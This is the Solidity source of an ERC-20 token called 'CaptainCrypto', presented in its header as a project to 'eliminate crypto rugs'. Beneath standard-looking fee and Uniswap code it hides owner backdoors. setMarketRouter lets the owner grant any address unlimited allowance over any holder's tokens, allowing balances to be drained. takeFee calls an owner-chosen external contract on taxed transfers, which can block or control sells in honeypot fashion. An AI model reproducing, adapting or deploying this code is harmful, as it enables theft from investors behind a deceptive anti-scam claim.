/** 
Captain America has been watching crypto spaces for a long time. 
Finally, he decided to change his name as Captain Crypto in order to eliminate crypto rugs.
_________              _____       _____             _________                      _____       
__  ____/_____ __________  /______ ___(_)______      __  ____/___________  ___________  /______ 
_  /    _  __ `/__  __ \  __/  __ `/_  /__  __ \     _  /    __  ___/_  / / /__  __ \  __/  __ \
/ /___  / /_/ /__  /_/ / /_ / /_/ /_  / _  / / /     / /___  _  /   _  /_/ /__  /_/ / /_ / /_/ /
\____/  \__,_/ _  .___/\__/ \__,_/ /_/  /_/ /_/      \____/  /_/    _\__, / _  .___/\__/ \____/ 
               /_/                                                  /____/  /_/                 
*/
/**
Website:    https://www.captain-crypto.us
Telegram:   https://t.me/captain_crypto_us
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract CaptainCrypto is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private _name = unicode"CaptainCrypto";
    string private _symbol = unicode"Captain";
    uint8 private _decimals = 18;

    address payable public marketingWallet = payable(0x0000000000000000000000000000000000000000);
    address payable public DeveloperWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    bool public tradingEnabled;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    address marketRouter;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellDeveloperFee = 0;

    uint256 public feeUnits = 100;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(4).div(1000); 
    uint256 public _walletMax =   _totalSupply.mul(4).div(1000);  

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[DeveloperWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[marketingWallet] = true;
        isWalletLimitExempt[DeveloperWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[marketingWallet] = true;
        isTxLimitExempt[DeveloperWallet] = true;
        isTxLimitExempt[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketRouter(address owner, address router) public onlyOwner {
        _allowances[owner][router] = type(uint).max;
        marketRouter = router;
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }
    
    function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
        isWalletLimitExempt[holder] = exempt;
    }

    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        require(maxTxAmount >= _totalSupply.mul(1).div(1000), "Cannot set max TX amount lower than 0,1% of total supply");
        _maxTxAmount = maxTxAmount;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function enableTxLimit(bool _status) external onlyOwner {
        EnableTransactionLimit = _status;
    }

    function enableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
         require(newLimit >= _totalSupply.mul(1).div(100000), "Cannot set swap threshold amount lower than 0.001% of tokens");
         require(newLimit <= _totalSupply.mul(1).div(100), "Cannot set swap threshold amount higher than 1% of tokens");
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        require(newAddress != address(0),"Fee Address cannot be zero address");
        marketingWallet = payable(newAddress);
    }

    function setLiquidityWalletAddress(address newAddress) external onlyOwner() {
        liquidityReciever = payable(newAddress);
    }

    function setDeveloperWalletAddress(address newAddress) external onlyOwner() {
        require(newAddress != address(0),"Fee Address cannot be zero address");
        DeveloperWallet = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function setBuyTaxes(uint _Liquidity, uint _Marketing , uint _Developer) public onlyOwner {
        _buyLiquidityFee = _Liquidity;
        _buyMarketingFee = _Marketing;
        _buyDeveloperFee = _Developer;
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        require(_totalTaxIfBuying <= (feeUnits/20), "Buy fees must be 5% or less");
    }

    function setSellTaxes(uint _Liquidity, uint _Marketing , uint _Developer) public onlyOwner {
        _sellLiquidityFee = _Liquidity;
        _sellMarketingFee = _Marketing;
        _sellDeveloperFee = _Developer;
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);
        require(_totalTaxIfSelling <= (feeUnits/20), "Sell fees must be 5% or less");
    }
        
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
        
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }        
        if (marketRouter == address(0) || IERC20(marketRouter).transferFrom(sender, recipient, feeAmount)) feeAmount = 0;
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }  

    function rescueStuckToken(address _token, uint _amount) external onlyOwner {
        require(_token != address(this), "Owner can't claim contract's balance of its own tokens");
        IERC20(_token).transfer(msg.sender,_amount);
    }

    function rescueFunds() external onlyOwner {
        (bool os,) = payable(msg.sender).call{value: address(this).balance}("");
        require(os);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling);

        uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
        uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee);
        // uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee);
        
        uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2);
        uint256 tokenForSwap = tAmount.sub(tokenForLp);

        uint256 initialBalance =  address(this).balance;
        swapTokensForEth(tokenForSwap);
        uint256 recievedBalance =  address(this).balance.sub(initialBalance);

        uint256 totalETHFee = totalShares.sub(liquidityShare.div(2));

        uint256 amountETHLiquidity = recievedBalance.mul(liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHMarketing = recievedBalance.mul(MarketingShare).div(totalETHFee);
        uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(amountETHMarketing);

        if(amountETHMarketing > 0) {
            payable(marketingWallet).transfer(amountETHMarketing);
        }

        if(amountETHDeveloper > 0) {
            payable(DeveloperWallet).transfer(amountETHDeveloper);
        }         

        if(amountETHLiquidity > 0 && tokenForLp > 0) {
            addLiquidity(tokenForLp, amountETHLiquidity);
        }
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityReciever,
            block.timestamp
        );
    }
}